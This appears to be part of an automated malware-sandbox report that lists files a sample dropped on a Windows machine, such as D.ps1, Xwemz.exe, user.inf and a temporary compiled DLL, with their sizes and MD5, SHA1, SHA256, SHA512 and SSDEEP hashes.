- SSDEEP 96:+WiseU+bF+UIYysX0QQycu5yZoLtrV0N3LjLqLk0e9:+vQ+bF+UI3i7cayZudV0R3qLkj
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hhhncltz.4yf.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.dll
- Size 3KB
- SHA256 4f7640909c412a41477e535c81090151d4b2446924dc7481583f316b3083a0f0
- MD5 56ba443fabfc61b5be7843116434d45e
- SHA1 dde9bd285495c6b0c1222fe1493be16cc3d5541f
- SHA512 3f98eaac4a6a1b0958332e6ee0e0709ff227a462f30faf69cf1a57f5054bbc408287469816a63bc4c5a40bf8063ef4224b367f6a7c401630c6a8de939d3450eb
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
- Size 26KB
- SHA256 0b91154f7907ff59359c2f923b2ea91970b8a2899259c4a7713056cee656453c
- MD5 9352ddda312eeb93823ee2e6cc9a83bc
- SHA1 cfd74b8b392d6931bed72ec3251abcaff5b4b908
- SHA512 63f5b80f32f4f14089c8e15a3c8237e353f34aeae0fbbcb679c4a5ea3c8a1e0939b104e8e0cc47d084d6810b3bd0c7134b027c932a049a7facbbf9663682fa1e
- SSDEEP 384:jsLtqBnBCZBICogb3/3wwT47s3y3IcPf+TaslUGjCa1V6fxLXjjp:zBn9m/AWWfKasGYCa18jjp
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
- Size 6KB
- SHA256 c75bd199e7881bf4ebb62a7975a2ab652d2489563ea7c26159254acc81551e0b
- MD5 085dc9d0c7129033d618b6d66a95fb9d
- SHA1 687c92e07fa0cda9b716fb219dfa37d8f5a7fe4d
- SHA512 c700eb58150e1788f65985dc0590f7f952c227f140accf653a097e1da450e687403aaa08572638cfbd90a3183a2e895fd32909b1a8a3a0704a0a687c9e8c4794
- SSDEEP 96:oVUFnRCYuFFukvhkvCCts57AY9kHQHpGagY9kHQHpGW+:oVUN1mcEAEkH0gEkHw+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
- Size 6KB
- SHA256 204b0993cc6a52082893a64a0698b2ef06e661b8053488aa689dd1e63fee5943
- MD5 e64ea2948f808247cf5173142d4b82af
- SHA1 617e8c5a25fb60ef33d561a82f7d3f0bb7d59439
- SHA512 8c9dedfc6791d517a49fe82683770c4e8a77b917342a96222184fada6b2215aaef7f39d2813b2a10969ec5015ab27774c3ee119373fc18b3c625132000dce613
- SSDEEP 96:OVJenCCbWFFukvhkvCCts57AY9kHQHpGagY9kHQHpGW+:OVJyFOcEAEkH0gEkHw+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Public\D.ps1
- Size 978B
- SHA256 7a246791c8d43bf0e0a325edc12f519b6c14c67d51e30292bea5679d7f452577
- MD5 5e299f093daf20a2faa634bf359389f7
- SHA1 7675ab67dde92d44d1080a61faa482d848e04007
- SHA512 10025b586f6aeb1bc7bd1dec669ba0f669652fffe8d70282114538e5d02dffc1e6575021ec0e8bdb0f9e7666b0b801f86ce5e9b35ca97dae1a765f0ced881fff
- MD5 SHA1 SHA512
- Path C:\Users\Public\Xwemz.exe
- Size 837KB
- SHA256 e96b455245e3e29c30bcbaf2836654435beca58d7e0e740fef3d5449caa6cfca
- MD5 24a4e95f31c3c3531d50139def962795
- SHA1 9b502f091868a801a9bc0eb388663f7483a68c23
- SHA512 e1bd55995ded727fbaef3d89b8d20fed65987647635a3834ffd29006dd2d6da601421623c1380ae9a1db70386b7dbaeff19978d67fd2c6f99c91558ebe750c5c
- SSDEEP 12288:wMfF33i4fNKB7ppBtXu9eeB711F/JeHsENMNEyhKgto4xpB1JTUfpYv2vJ:wMfFH0B7ppBtXreB711usENM5Kgjg3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Public\user.inf
- Size 661B
- SHA256 623a4f0d12503877a7ac09008876510fff9a15a42259fb8993bf5ed65ef8357f
- MD5 4197ebefdb9a5ffb2eb4b8a66b05e286
- SHA1 8fbd3815aa7d4cf6494931ababbee9e48f1677d3
- SHA512 4774c17ea50fc44f1f4cf06f5a59bc3f85b640f0f2739461c6206299a3cd523daf4c6a5d87442dbbc5c91366a236d8759a08cbac25a8b12f1ffde285cc3ca43a
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\CSC93884A14A5A549A6A9B018379DBAE577.TMP
- Size 652B
- SHA256 c22180b61d3cf16a4f4ce8dcd10dd6176ed6228047c6bd5584d27ddcabc77b49
- MD5 553118c996cce9c8bc48dfc03f212f37
- SHA1 c1f12a30a065de32c9c1ddfe47be91b775eb36fc
- SHA512 4f34844b259a8a3cf21860ab9406874798b3f6ff95967fd3be30527615cc372f974272b52d4f3860b6a7cc10a105429db2a59075aa02174fb0da3aeadaeb32f0
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.0.cs
- Size 319B
- SHA256 f52036306d49ca5bc0c58242a311526e4d045dcd070b0981db503da5e3a55212
- MD5 f3c09788c53ec7b12e03c328440a57fc
- SHA1 898711631c676136cc0576370c705d5bb38df060
- SHA512 cdddd3ffe6563bcd0ff53973b3a3fe7aca3939b77dcb3fcc2e56d93c9f0727a0d5ffa550a21923ffa8a446da589d68a6c26674068bf75233421452a153b9e1ce
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.cmdline
- Size 369B
- SHA256 f01deafdc8b6421eecd72a71663399958d7e607bb8eb6664523ce3c65a452c8c
- MD5 00e1b763c7d4fb8e7632fd512ee938db
- SHA1 45d96195ba5d3a32b8484d9b6a8642fd8a0ac6e9
- SHA512 7fdf0ea9684434b5141ecf2e04ec37c31c2dba9d430c7b859238f96db8cce60d6520aaf85a944cec191b67288afceabfea7b3a43533c5d4b10716c695bb71a29
- MD5 SHA1 SHA512